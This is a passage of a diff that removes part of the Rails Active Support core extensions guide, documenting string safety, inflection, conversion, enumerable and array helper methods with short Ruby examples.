-C.subclasses # => [B]
-
-class D < C; end
-C.subclasses # => [B, D]
-</ruby>
-
-The order in which these classes are returned is unspecified.
-
-WARNING: This method is redefined in some Rails core classes but should be all compatible in Rails 3.1.
-
-NOTE: Defined in +active_support/core_ext/class/subclasses.rb+.
-
-h5. +descendants+
-
-The +descendants+ method returns all classes that are <tt>&lt;</tt> than its receiver:
-
-<ruby>
-class C; end
-C.descendants # => []
-
-class B < C; end
-C.descendants # => [B]
-
-class A < B; end
-C.descendants # => [B, A]
-
-class D < C; end
-C.descendants # => [B, A, D]
-</ruby>
-
-The order in which these classes are returned is unspecified.
-
-NOTE: Defined in +active_support/core_ext/class/subclasses.rb+.
-
-h3. Extensions to +String+
-
-h4. Output Safety
-
-h5. Motivation
-
-Inserting data into HTML templates needs extra care. For example you can't just interpolate +@review.title+ verbatim into an HTML page. On one hand if the review title is "Flanagan & Matz rules!" the output won't be well-formed because an ampersand has to be escaped as "&amp;amp;". On the other hand, depending on the application that may be a big security hole because users can inject malicious HTML setting a hand-crafted review title. Check out the "section about cross-site scripting in the Security guide":security.html#cross-site-scripting-xss for further information about the risks.
-
-h5. Safe Strings
-
-Active Support has the concept of <i>(html) safe</i> strings since Rails 3. A safe string is one that is marked as being insertable into HTML as is. It is trusted, no matter whether it has been escaped or not.
-
-Strings are considered to be <i>unsafe</i> by default:
-
-<ruby>
-"".html_safe? # => false
-</ruby>
-
-You can obtain a safe string from a given one with the +html_safe+ method:
-
-<ruby>
-s = "".html_safe
-s.html_safe? # => true
-</ruby>
-
-It is important to understand that +html_safe+ performs no escaping whatsoever, it is just an assertion:
-
-<ruby>
-s = "<script>...</script>".html_safe
-s.html_safe? # => true
-s            # => "<script>...</script>"
-</ruby>
-
-It is your responsibility to ensure calling +html_safe+ on a particular string is fine.
-
-If you append onto a safe string, either in-place with +concat+/<tt><<</tt>, or with <tt>+</tt>, the result is a safe string. Unsafe arguments are escaped:
-
-<ruby>
-"".html_safe + "<" # => "&lt;"
-</ruby>
-
-Safe arguments are directly appended:
-
-<ruby>
-"".html_safe + "<".html_safe # => "<"
-</ruby>
-
-These methods should not be used in ordinary views. In Rails 3 unsafe values are automatically escaped:
-
-<erb>
-<%= @review.title %> <%# fine in Rails 3, escaped if needed %>
-</erb>
-
-To insert something verbatim use the +raw+ helper rather than calling +html_safe+:
-
-<erb>
-<%= raw @cms.current_template %> <%# inserts @cms.current_template as is %>
-</erb>
-
-or, equivalently, use <tt><%==</tt>:
-
-<erb>
-<%== @cms.current_template %> <%# inserts @cms.current_template as is %>
-</erb>
-
-The +raw+ helper calls +html_safe+ for you:
-
-<ruby>
-def raw(stringish)
-  stringish.to_s.html_safe
-end
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/string/output_safety.rb+.
-
-h5. Transformation
-
-As a rule of thumb, except perhaps for concatenation as explained above, any method that may change a string gives you an unsafe string. These are +donwcase+, +gsub+, +strip+, +chomp+, +underscore+, etc.
-
-In the case of in-place transformations like +gsub!+ the receiver itself becomes unsafe.
-
-INFO: The safety bit is lost always, no matter whether the transformation actually changed something.
-
-h5. Conversion and Coercion
-
-Calling +to_s+ on a safe string returns a safe string, but coercion with +to_str+ returns an unsafe string.
-
-h5. Copying
-
-Calling +dup+ or +clone+ on safe strings yields safe strings.
-
-h4. +squish+
-
-The method +squish+ strips leading and trailing whitespace, and substitutes runs of whitespace with a single space each:
-
-<ruby>
-" \n  foo\n\r \t bar \n".squish # => "foo bar"
-</ruby>
-
-There's also the destructive version +String#squish!+.
-
-NOTE: Defined in +active_support/core_ext/string/filters.rb+.
-
-h4. +truncate+
-
-The method +truncate+ returns a copy of its receiver truncated after a given +length+:
-
-<ruby>
-"Oh dear! Oh dear! I shall be late!".truncate(20)
-# => "Oh dear! Oh dear!..."
-</ruby>
-
-Ellipsis can be customized with the +:omission+ option:
-
-<ruby>
-"Oh dear! Oh dear! I shall be late!".truncate(20, :omission => '&hellip;')
-# => "Oh dear! Oh &hellip;"
-</ruby>
-
-Note in particular that truncation takes into account the length of the omission string.
-
-Pass a +:separator+ to truncate the string at a natural break:
-
-<ruby>
-"Oh dear! Oh dear! I shall be late!".truncate(18)
-# => "Oh dear! Oh dea..."
-"Oh dear! Oh dear! I shall be late!".truncate(18, :separator => ' ')
-# => "Oh dear! Oh..."
-</ruby>
-
-In the above example "dear" gets cut first, but then +:separator+ prevents it.
-
-WARNING: The option +:separator+ can't be a regexp.
-
-NOTE: Defined in +active_support/core_ext/string/filters.rb+.
-
-h4. +inquiry+
-
-The <tt>inquiry</tt> method converts a string into a +StringInquirer+ object making equality checks prettier.
-
-<ruby>
-"production".inquiry.production? # => true
-"active".inquiry.inactive?       # => false
-</ruby>
-
-h4. Key-based Interpolation
-
-In Ruby 1.9 the <tt>%</tt> string operator supports key-based interpolation, both formatted and unformatted:
-
-<ruby>
-"Total is %<total>.02f" % {:total => 43.1}  # => Total is 43.10
-"I say %{foo}" % {:foo => "wadus"}          # => "I say wadus"
-"I say %{woo}" % {:foo => "wadus"}          # => KeyError
-</ruby>
-
-Active Support adds that functionality to <tt>%</tt> in previous versions of Ruby.
-
-NOTE: Defined in +active_support/core_ext/string/interpolation.rb+.
-
-h4. +starts_with?+ and +ends_with?+
-
-Active Support defines 3rd person aliases of +String#start_with?+ and +String#end_with?+:
-
-<ruby>
-"foo".starts_with?("f") # => true
-"foo".ends_with?("o")   # => true
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/string/starts_ends_with.rb+.
-
-h4. +strip_heredoc+
-
-The method +strip_heredoc+ strips indentation in heredocs.
-
-For example in
-
-<ruby>
-if options[:usage]
-  puts <<-USAGE.strip_heredoc
-    This command does such and such.
-
-    Supported options are:
-      -h         This message
-      ...
-  USAGE
-end
-</ruby>
-
-the user would see the usage message aligned against the left margin.
-
-Technically, it looks for the least indented line in the whole string, and removes
-that amount of leading whitespace.
-
-NOTE: Defined in +active_support/core_ext/string/strip.rb+.
-
-h4. Access
-
-h5. +at(position)+
-
-Returns the character of the string at position +position+:
-
-<ruby>
-"hello".at(0)  # => "h"
-"hello".at(4)  # => "o"
-"hello".at(-1) # => "o"
-"hello".at(10) # => ERROR if < 1.9, nil in 1.9
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/string/access.rb+.
-
-h5. +from(position)+
-
-Returns the substring of the string starting at position +position+:
-
-<ruby>
-"hello".from(0)  # => "hello"
-"hello".from(2)  # => "llo"
-"hello".from(-2) # => "lo"
-"hello".from(10) # => "" if < 1.9, nil in 1.9
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/string/access.rb+.
-
-h5. +to(position)+
-
-Returns the substring of the string up to position +position+:
-
-<ruby>
-"hello".to(0)  # => "h"
-"hello".to(2)  # => "hel"
-"hello".to(-2) # => "hell"
-"hello".to(10) # => "hello"
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/string/access.rb+.
-
-h5. +first(limit = 1)+
-
-The call +str.first(n)+ is equivalent to +str.to(n-1)+ if +n+ > 0, and returns an empty string for +n+ == 0.
-
-NOTE: Defined in +active_support/core_ext/string/access.rb+.
-
-h5. +last(limit = 1)+
-
-The call +str.last(n)+ is equivalent to +str.from(-n)+ if +n+ > 0, and returns an empty string for +n+ == 0.
-
-NOTE: Defined in +active_support/core_ext/string/access.rb+.
-
-h4. Inflections
-
-h5. +pluralize+
-
-The method +pluralize+ returns the plural of its receiver:
-
-<ruby>
-"table".pluralize     # => "tables"
-"ruby".pluralize      # => "rubies"
-"equipment".pluralize # => "equipment"
-</ruby>
-
-As the previous example shows, Active Support knows some irregular plurals and uncountable nouns. Built-in rules can be extended in +config/initializers/inflections.rb+. That file is generated by the +rails+ command and has instructions in comments.
-
-+pluralize+ can also take an optional +count+ parameter.  If <tt>count == 1</tt> the singular form will be returned.  For any other value of +count+ the plural form will be returned:
-
-<ruby>
-"dude".pluralize(0) # => "dudes"
-"dude".pluralize(1) # => "dude"
-"dude".pluralize(2) # => "dudes"
-</ruby>
-
-Active Record uses this method to compute the default table name that corresponds to a model:
-
-<ruby>
-# active_record/base.rb
-def undecorated_table_name(class_name = base_class.name)
-  table_name = class_name.to_s.demodulize.underscore
-  table_name = table_name.pluralize if pluralize_table_names
-  table_name
-end
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
-
-h5. +singularize+
-
-The inverse of +pluralize+:
-
-<ruby>
-"tables".singularize    # => "table"
-"rubies".singularize    # => "ruby"
-"equipment".singularize # => "equipment"
-</ruby>
-
-Associations compute the name of the corresponding default associated class using this method:
-
-<ruby>
-# active_record/reflection.rb
-def derive_class_name
-  class_name = name.to_s.camelize
-  class_name = class_name.singularize if collection?
-  class_name
-end
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
-
-h5. +camelize+
-
-The method +camelize+ returns its receiver in camel case:
-
-<ruby>
-"product".camelize    # => "Product"
-"admin_user".camelize # => "AdminUser"
-</ruby>
-
-As a rule of thumb you can think of this method as the one that transforms paths into Ruby class or module names, where slashes separate namespaces:
-
-<ruby>
-"backoffice/session".camelize # => "Backoffice::Session"
-</ruby>
-
-For example, Action Pack uses this method to load the class that provides a certain session store:
-
-<ruby>
-# action_controller/metal/session_management.rb
-def session_store=(store)
-  if store == :active_record_store
-    self.session_store = ActiveRecord::SessionStore
-  else
-    @@session_store = store.is_a?(Symbol) ?
-      ActionDispatch::Session.const_get(store.to_s.camelize) :
-      store
-  end
-end
-</ruby>
-
-+camelize+ accepts an optional argument, it can be +:upper+ (default), or +:lower+. With the latter the first letter becomes lowercase:
-
-<ruby>
-"visual_effect".camelize(:lower) # => "visualEffect"
-</ruby>
-
-That may be handy to compute method names in a language that follows that convention, for example JavaScript.
-
-INFO: As a rule of thumb you can think of +camelize+ as the inverse of +underscore+, though there are cases where that does not hold: <tt>"SSLError".underscore.camelize</tt> gives back <tt>"SslError"</tt>. To support cases such as this, Active Support allows you to specify acronyms in +config/initializers/inflections.rb+:
-
-<ruby>
-ActiveSupport::Inflector.inflections do |inflect|
-  inflect.acronym 'SSL'
-end
-
-"SSLError".underscore.camelize #=> "SSLError"
-</ruby>
-
-+camelize+ is aliased to +camelcase+.
-
-NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
-
-h5. +underscore+
-
-The method +underscore+ goes the other way around, from camel case to paths:
-
-<ruby>
-"Product".underscore   # => "product"
-"AdminUser".underscore # => "admin_user"
-</ruby>
-
-Also converts "::" back to "/":
-
-<ruby>
-"Backoffice::Session".underscore # => "backoffice/session"
-</ruby>
-
-and understands strings that start with lowercase:
-
-<ruby>
-"visualEffect".underscore # => "visual_effect"
-</ruby>
-
-+underscore+ accepts no argument though.
-
-Rails class and module autoloading uses +underscore+ to infer the relative path without extension of a file that would define a given missing constant:
-
-<ruby>
-# active_support/dependencies.rb
-def load_missing_constant(from_mod, const_name)
-  ...
-  qualified_name = qualified_name_for from_mod, const_name
-  path_suffix = qualified_name.underscore
-  ...
-end
-</ruby>
-
-INFO: As a rule of thumb you can think of +underscore+ as the inverse of +camelize+, though there are cases where that does not hold. For example, <tt>"SSLError".underscore.camelize</tt> gives back <tt>"SslError"</tt>.
-
-NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
-
-h5. +titleize+
-
-The method +titleize+ capitalizes the words in the receiver:
-
-<ruby>
-"alice in wonderland".titleize # => "Alice In Wonderland"
-"fermat's enigma".titleize     # => "Fermat's Enigma"
-</ruby>
-
-+titleize+ is aliased to +titlecase+.
-
-NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
-
-h5. +dasherize+
-
-The method +dasherize+ replaces the underscores in the receiver with dashes:
-
-<ruby>
-"name".dasherize         # => "name"
-"contact_data".dasherize # => "contact-data"
-</ruby>
-
-The XML serializer of models uses this method to dasherize node names:
-
-<ruby>
-# active_model/serializers/xml.rb
-def reformat_name(name)
-  name = name.camelize if camelize?
-  dasherize? ? name.dasherize : name
-end
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
-
-h5. +demodulize+
-
-Given a string with a qualified constant name, +demodulize+ returns the very constant name, that is, the rightmost part of it:
-
-<ruby>
-"Product".demodulize                        # => "Product"
-"Backoffice::UsersController".demodulize    # => "UsersController"
-"Admin::Hotel::ReservationUtils".demodulize # => "ReservationUtils"
-</ruby>
-
-Active Record for example uses this method to compute the name of a counter cache column:
-
-<ruby>
-# active_record/reflection.rb
-def counter_cache_column
-  if options[:counter_cache] == true
-    "#{active_record.name.demodulize.underscore.pluralize}_count"
-  elsif options[:counter_cache]
-    options[:counter_cache]
-  end
-end
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
-
-h5. +deconstantize+
-
-Given a string with a qualified constant reference expression, +deconstantize+ removes the rightmost segment, generally leaving the name of the constant's container:
-
-<ruby>
-"Product".deconstantize                        # => ""
-"Backoffice::UsersController".deconstantize    # => "Backoffice"
-"Admin::Hotel::ReservationUtils".deconstantize # => "Admin::Hotel"
-</ruby>
-
-Active Support for example uses this method in +Module#qualified_const_set+:
-
-<ruby>
-def qualified_const_set(path, value)
-  QualifiedConstUtils.raise_if_absolute(path)
-
-  const_name = path.demodulize
-  mod_name = path.deconstantize
-  mod = mod_name.empty? ? self : qualified_const_get(mod_name)
-  mod.const_set(const_name, value)
-end
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
-
-h5. +parameterize+
-
-The method +parameterize+ normalizes its receiver in a way that can be used in pretty URLs.
-
-<ruby>
-"John Smith".parameterize # => "john-smith"
-"Kurt Gödel".parameterize # => "kurt-godel"
-</ruby>
-
-In fact, the result string is wrapped in an instance of +ActiveSupport::Multibyte::Chars+.
-
-NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
-
-h5. +tableize+
-
-The method +tableize+ is +underscore+ followed by +pluralize+.
-
-<ruby>
-"Person".tableize      # => "people"
-"Invoice".tableize     # => "invoices"
-"InvoiceLine".tableize # => "invoice_lines"
-</ruby>
-
-As a rule of thumb, +tableize+ returns the table name that corresponds to a given model for simple cases. The actual implementation in Active Record is not straight +tableize+ indeed, because it also demodulizes the class name and checks a few options that may affect the returned string.
-
-NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
-
-h5. +classify+
-
-The method +classify+ is the inverse of +tableize+. It gives you the class name corresponding to a table name:
-
-<ruby>
-"people".classify        # => "Person"
-"invoices".classify      # => "Invoice"
-"invoice_lines".classify # => "InvoiceLine"
-</ruby>
-
-The method understands qualified table names:
-
-<ruby>
-"highrise_production.companies".classify # => "Company"
-</ruby>
-
-Note that +classify+ returns a class name as a string. You can get the actual class object invoking +constantize+ on it, explained next.
-
-NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
-
-h5. +constantize+
-
-The method +constantize+ resolves the constant reference expression in its receiver:
-
-<ruby>
-"Fixnum".constantize # => Fixnum
-
-module M
-  X = 1
-end
-"M::X".constantize # => 1
-</ruby>
-
-If the string evaluates to no known constant, or its content is not even a valid constant name, +constantize+ raises +NameError+.
-
-Constant name resolution by +constantize+ starts always at the top-level +Object+ even if there is no leading "::".
-
-<ruby>
-X = :in_Object
-module M
-  X = :in_M
-
-  X                 # => :in_M
-  "::X".constantize # => :in_Object
-  "X".constantize   # => :in_Object (!)
-end
-</ruby>
-
-So, it is in general not equivalent to what Ruby would do in the same spot, had a real constant be evaluated.
-
-Mailer test cases obtain the mailer being tested from the name of the test class using +constantize+:
-
-<ruby>
-# action_mailer/test_case.rb
-def determine_default_mailer(name)
-  name.sub(/Test$/, '').constantize
-rescue NameError => e
-  raise NonInferrableMailerError.new(name)
-end
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
-
-h5. +humanize+
-
-The method +humanize+ gives you a sensible name for display out of an attribute name. To do so it replaces underscores with spaces, removes any "_id" suffix, and capitalizes the first word:
-
-<ruby>
-"name".humanize           # => "Name"
-"author_id".humanize      # => "Author"
-"comments_count".humanize # => "Comments count"
-</ruby>
-
-The helper method +full_messages+ uses +humanize+ as a fallback to include attribute names:
-
-<ruby>
-def full_messages
-  full_messages = []
-
-  each do |attribute, messages|
-    ...
-    attr_name = attribute.to_s.gsub('.', '_').humanize
-    attr_name = @base.class.human_attribute_name(attribute, :default => attr_name)
-    ...
-  end
-
-  full_messages
-end
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
-
-h5. +foreign_key+
-
-The method +foreign_key+ gives a foreign key column name from a class name. To do so it demodulizes, underscores, and adds "_id":
-
-<ruby>
-"User".foreign_key           # => "user_id"
-"InvoiceLine".foreign_key    # => "invoice_line_id"
-"Admin::Session".foreign_key # => "session_id"
-</ruby>
-
-Pass a false argument if you do not want the underscore in "_id":
-
-<ruby>
-"User".foreign_key(false) # => "userid"
-</ruby>
-
-Associations use this method to infer foreign keys, for example +has_one+ and +has_many+ do this:
-
-<ruby>
-# active_record/associations.rb
-foreign_key = options[:foreign_key] || reflection.active_record.name.foreign_key
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
-
-h4(#string-conversions). Conversions
-
-h5. +ord+
-
-Ruby 1.9 defines +ord+ to be the codepoint of the first character of the receiver. Active Support backports +ord+ for single-byte encodings like ASCII or ISO-8859-1 in Ruby 1.8:
-
-<ruby>
-"a".ord # => 97
-"à".ord # => 224, in ISO-8859-1
-</ruby>
-
-In Ruby 1.8 +ord+ doesn't work in general in UTF8 strings, use the multibyte support in Active Support for that:
-
-<ruby>
-"a".mb_chars.ord # => 97
-"à".mb_chars.ord # => 224, in UTF8
-</ruby>
-
-Note that the 224 is different in both examples. In ISO-8859-1 "à" is represented as a single byte, 224. Its single-character representation in UTF8 has two bytes, namely 195 and 160, but its Unicode codepoint is 224. If we call +ord+ on the UTF8 string "à" the return value will be 195 in Ruby 1.8. That is not an error, because UTF8 is unsupported, the call itself would be bogus.
-
-INFO: +ord+ is equivalent to +getbyte(0)+.
-
-NOTE: Defined in +active_support/core_ext/string/conversions.rb+.
-
-h5. +getbyte+
-
-Active Support backports +getbyte+ from Ruby 1.9:
-
-<ruby>
-"foo".getbyte(0)  # => 102, same as "foo".ord
-"foo".getbyte(1)  # => 111
-"foo".getbyte(9)  # => nil
-"foo".getbyte(-1) # => 111
-</ruby>
-
-INFO: +getbyte+ is equivalent to +[]+.
-
-NOTE: Defined in +active_support/core_ext/string/conversions.rb+.
-
-h5. +to_date+, +to_time+, +to_datetime+
-
-The methods +to_date+, +to_time+, and +to_datetime+ are basically convenience wrappers around +Date._parse+:
-
-<ruby>
-"2010-07-27".to_date              # => Tue, 27 Jul 2010
-"2010-07-27 23:37:00".to_time     # => Tue Jul 27 23:37:00 UTC 2010
-"2010-07-27 23:37:00".to_datetime # => Tue, 27 Jul 2010 23:37:00 +0000
-</ruby>
-
-+to_time+ receives an optional argument +:utc+ or +:local+, to indicate which time zone you want the time in:
-
-<ruby>
-"2010-07-27 23:42:00".to_time(:utc)   # => Tue Jul 27 23:42:00 UTC 2010
-"2010-07-27 23:42:00".to_time(:local) # => Tue Jul 27 23:42:00 +0200 2010
-</ruby>
-
-Default is +:utc+.
-
-Please refer to the documentation of +Date._parse+ for further details.
-
-INFO: The three of them return +nil+ for blank receivers.
-
-NOTE: Defined in +active_support/core_ext/string/conversions.rb+.
-
-h3. Extensions to +Numeric+
-
-h4. Bytes
-
-All numbers respond to these methods:
-
-<ruby>
-bytes
-kilobytes
-megabytes
-gigabytes
-terabytes
-petabytes
-exabytes
-</ruby>
-
-They return the corresponding amount of bytes, using a conversion factor of 1024:
-
-<ruby>
-2.kilobytes   # => 2048
-3.megabytes   # => 3145728
-3.5.gigabytes # => 3758096384
--4.exabytes   # => -4611686018427387904
-</ruby>
-
-Singular forms are aliased so you are able to say:
-
-<ruby>
-1.megabyte # => 1048576
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/numeric/bytes.rb+.
-
-h3. Extensions to +Integer+
-
-h4. +multiple_of?+
-
-The method +multiple_of?+ tests whether an integer is multiple of the argument:
-
-<ruby>
-2.multiple_of?(1) # => true
-1.multiple_of?(2) # => false
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/integer/multiple.rb+.
-
-h4. +ordinalize+
-
-The method +ordinalize+ returns the ordinal string corresponding to the receiver integer:
-
-<ruby>
-1.ordinalize    # => "1st"
-2.ordinalize    # => "2nd"
-53.ordinalize   # => "53rd"
-2009.ordinalize # => "2009th"
--21.ordinalize  # => "-21st"
--134.ordinalize # => "-134th"
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/integer/inflections.rb+.
-
-h3. Extensions to +Float+
-
-h4. +round+
-
-The built-in method +Float#round+ rounds a float to the nearest integer. In Ruby 1.9 this method takes an optional argument to let you specify a precision. Active Support adds that functionality to +round+ in previous versions of Ruby:
-
-<ruby>
-Math::E.round(4) # => 2.7183
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/float/rounding.rb+.
-
-h3. Extensions to +BigDecimal+
-
-...
-
-h3. Extensions to +Enumerable+
-
-h4. +group_by+
-
-Active Support redefines +group_by+ in Ruby 1.8.7 so that it returns an ordered hash as in 1.9:
-
-<ruby>
-entries_by_surname_initial = address_book.group_by do |entry|
-  entry.surname.at(0).upcase
-end
-</ruby>
-
-Distinct block return values are added to the hash as they come, so that's the resulting order.
-
-NOTE: Defined in +active_support/core_ext/enumerable.rb+.
-
-h4. +sum+
-
-The method +sum+ adds the elements of an enumerable:
-
-<ruby>
-[1, 2, 3].sum # => 6
-(1..100).sum  # => 5050
-</ruby>
-
-Addition only assumes the elements respond to <tt>+</tt>:
-
-<ruby>
-[[1, 2], [2, 3], [3, 4]].sum    # => [1, 2, 2, 3, 3, 4]
-%w(foo bar baz).sum             # => "foobarbaz"
-{:a => 1, :b => 2, :c => 3}.sum # => [:b, 2, :c, 3, :a, 1]
-</ruby>
-
-The sum of an empty collection is zero by default, but this is customizable:
-
-<ruby>
-[].sum    # => 0
-[].sum(1) # => 1
-</ruby>
-
-If a block is given, +sum+ becomes an iterator that yields the elements of the collection and sums the returned values:
-
-<ruby>
-(1..5).sum {|n| n * 2 } # => 30
-[2, 4, 6, 8, 10].sum    # => 30
-</ruby>
-
-The sum of an empty receiver can be customized in this form as well:
-
-<ruby>
-[].sum(1) {|n| n**3} # => 1
-</ruby>
-
-The method +ActiveRecord::Observer#observed_subclasses+ for example is implemented this way:
-
-<ruby>
-def observed_subclasses
-  observed_classes.sum([]) { |klass| klass.send(:subclasses) }
-end
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/enumerable.rb+.
-
-h4. +each_with_object+
-
-The +inject+ method offers iteration with an accumulator:
-
-<ruby>
-[2, 3, 4].inject(1) {|product, i| product*i } # => 24
-</ruby>
-
-The block is expected to return the value for the accumulator in the next iteration, and this makes building mutable objects a bit cumbersome:
-
-<ruby>
-[1, 2].inject({}) {|h, i| h[i] = i**2; h} # => {1 => 1, 2 => 4}
-</ruby>
-
-See that spurious "+; h+"?
-
-Active Support backports +each_with_object+ from Ruby 1.9, which addresses that use case. It iterates over the collection, passes the accumulator, and returns the accumulator when done. You normally modify the accumulator in place. The example above would be written this way:
-
-<ruby>
-[1, 2].each_with_object({}) {|i, h| h[i] = i**2} # => {1 => 1, 2 => 4}
-</ruby>
-
-WARNING. Note that the item of the collection and the accumulator come in different order in +inject+ and +each_with_object+.
-
-NOTE: Defined in +active_support/core_ext/enumerable.rb+.
-
-h4. +index_by+
-
-The method +index_by+ generates a hash with the elements of an enumerable indexed by some key.
-
-It iterates through the collection and passes each element to a block. The element will be keyed by the value returned by the block:
-
-<ruby>
-invoices.index_by(&:number)
-# => {'2009-032' => <Invoice ...>, '2009-008' => <Invoice ...>, ...}
-</ruby>
-
-WARNING. Keys should normally be unique. If the block returns the same value for different elements no collection is built for that key. The last item will win.
-
-NOTE: Defined in +active_support/core_ext/enumerable.rb+.
-
-h4. +many?+
-
-The method +many?+ is shorthand for +collection.size > 1+:
-
-<erb>
-<% if pages.many? %>
-  <%= pagination_links %>
-<% end %>
-</erb>
-
-If an optional block is given, +many?+ only takes into account those elements that return true:
-
-<ruby>
-@see_more = videos.many? {|video| video.category == params[:category]}
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/enumerable.rb+.
-
-h4. +exclude?+
-
-The predicate +exclude?+ tests whether a given object does *not* belong to the collection. It is the negation of the built-in +include?+:
-
-<ruby>
-to_visit << node if visited.exclude?(node)
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/enumerable.rb+.
-
-h3. Extensions to +Array+
-
-h4. Accessing
-
-Active Support augments the API of arrays to ease certain ways of accessing them. For example, +to+ returns the subarray of elements up to the one at the passed index:
-
-<ruby>
-%w(a b c d).to(2) # => %w(a b c)
-[].to(7)          # => []
-</ruby>
-
-Similarly, +from+ returns the tail from the element at the passed index to the end. If the index is greater than the length of the array, it returns an empty array.
-
-<ruby>
-%w(a b c d).from(2)  # => %w(c d)
-%w(a b c d).from(10) # => []
-[].from(0)           # => []
-</ruby>
-
-The methods +second+, +third+, +fourth+, and +fifth+ return the corresponding element (+first+ is built-in). Thanks to social wisdom and positive constructiveness all around, +forty_two+ is also available.
-
-<ruby>
-%w(a b c d).third # => c
-%w(a b c d).fifth # => nil
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/array/access.rb+.
-
-h4. Random Access
-
-Active Support backports +sample+ from Ruby 1.9:
-
-<ruby>
-shape_type = [Circle, Square, Triangle].sample
-# => Square, for example
-
-shape_types = [Circle, Square, Triangle].sample(2)
-# => [Triangle, Circle], for example
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/array/random_access.rb+.
-
-h4. Adding Elements
-
-h5. +prepend+
-
-This method is an alias of <tt>Array#unshift</tt>.
-
-<ruby>
-%w(a b c d).prepend('e')  # => %w(e a b c d)
-[].prepend(10)            # => [10]
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/array/prepend_and_append.rb+.
-
-h5. +append+
-
-This method is an alias of <tt>Array#<<</tt>.
-
-<ruby>
-%w(a b c d).append('e')  # => %w(a b c d e)
-[].append([1,2])         # => [[1,2]]
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/array/prepend_and_append.rb+.
-
-h4. Options Extraction
-
-When the last argument in a method call is a hash, except perhaps for a +&block+ argument, Ruby allows you to omit the brackets:
-
-<ruby>
-User.exists?(:email => params[:email])
-</ruby>
-
-That syntactic sugar is used a lot in Rails to avoid positional arguments where there would be too many, offering instead interfaces that emulate named parameters. In particular it is very idiomatic to use a trailing hash for options.
-
-If a method expects a variable number of arguments and uses <tt>*</tt> in its declaration, however, such an options hash ends up being an item of the array of arguments, where it loses its role.
-
-In those cases, you may give an options hash a distinguished treatment with +extract_options!+. This method checks the type of the last item of an array. If it is a hash it pops it and returns it, otherwise it returns an empty hash.
-
-Let's see for example the definition of the +caches_action+ controller macro:
-
-<ruby>
-def caches_action(*actions)
-  return unless cache_configured?
-  options = actions.extract_options!
-  ...
-end
-</ruby>
-
-This method receives an arbitrary number of action names, and an optional hash of options as last argument. With the call to +extract_options!+ you obtain the options hash and remove it from +actions+ in a simple and explicit way.
-
-NOTE: Defined in +active_support/core_ext/array/extract_options.rb+.
-
-h4(#array-conversions). Conversions
-
-h5. +to_sentence+
-
-The method +to_sentence+ turns an array into a string containing a sentence that enumerates its items:
-
-<ruby>
-%w().to_sentence                # => ""
-%w(Earth).to_sentence           # => "Earth"
-%w(Earth Wind).to_sentence      # => "Earth and Wind"
-%w(Earth Wind Fire).to_sentence # => "Earth, Wind, and Fire"
-</ruby>
-
-This method accepts three options:
-
-* <tt>:two_words_connector</tt>: What is used for arrays of length 2. Default is " and ".
-* <tt>:words_connector</tt>: What is used to join the elements of arrays with 3 or more elements, except for the last two. Default is ", ".
-* <tt>:last_word_connector</tt>: What is used to join the last items of an array with 3 or more elements. Default is ", and ".
-
-The defaults for these options can be localised, their keys are:
-
-|_. Option                      |_. I18n key                                 |
-| <tt>:two_words_connector</tt> | <tt>support.array.two_words_connector</tt> |
-| <tt>:words_connector</tt>     | <tt>support.array.words_connector</tt>     |
-| <tt>:last_word_connector</tt> | <tt>support.array.last_word_connector</tt> |
-
-Options <tt>:connector</tt> and <tt>:skip_last_comma</tt> are deprecated.
-
-NOTE: Defined in +active_support/core_ext/array/conversions.rb+.
-
-h5. +to_formatted_s+
-
-The method +to_formatted_s+ acts like +to_s+ by default.
-
-If the array contains items that respond to +id+, however, it may be passed the symbol <tt>:db</tt> as argument. That's typically used with collections of ARs, though technically any object in Ruby 1.8 responds to +id+ indeed. Returned strings are:
-
-<ruby>
-[].to_formatted_s(:db)            # => "null"
-[user].to_formatted_s(:db)        # => "8456"
-invoice.lines.to_formatted_s(:db) # => "23,567,556,12"
-</ruby>
-
-Integers in the example above are supposed to come from the respective calls to +id+.
-
-NOTE: Defined in +active_support/core_ext/array/conversions.rb+.
-
-h5. +to_xml+
-
-The method +to_xml+ returns a string containing an XML representation of its receiver:
-
-<ruby>
-Contributor.limit(2).order(:rank).to_xml
-# =>
-# <?xml version="1.0" encoding="UTF-8"?>
-# <contributors type="array">
-#   <contributor>
-#     <id type="integer">4356</id>
-#     <name>Jeremy Kemper</name>
-#     <rank type="integer">1</rank>
-#     <url-id>jeremy-kemper</url-id>
-#   </contributor>
-#   <contributor>
-#     <id type="integer">4404</id>
-#     <name>David Heinemeier Hansson</name>
-#     <rank type="integer">2</rank>
-#     <url-id>david-heinemeier-hansson</url-id>
-#   </contributor>
-# </contributors>
-</ruby>
-
-To do so it sends +to_xml+ to every item in turn, and collects the results under a root node. All items must respond to +to_xml+, an exception is raised otherwise.
-
-By default, the name of the root element is the underscorized and dasherized plural of the name of the class of the first item, provided the rest of elements belong to that type (checked with <tt>is_a?</tt>) and they are not hashes. In the example above that's "contributors".
-
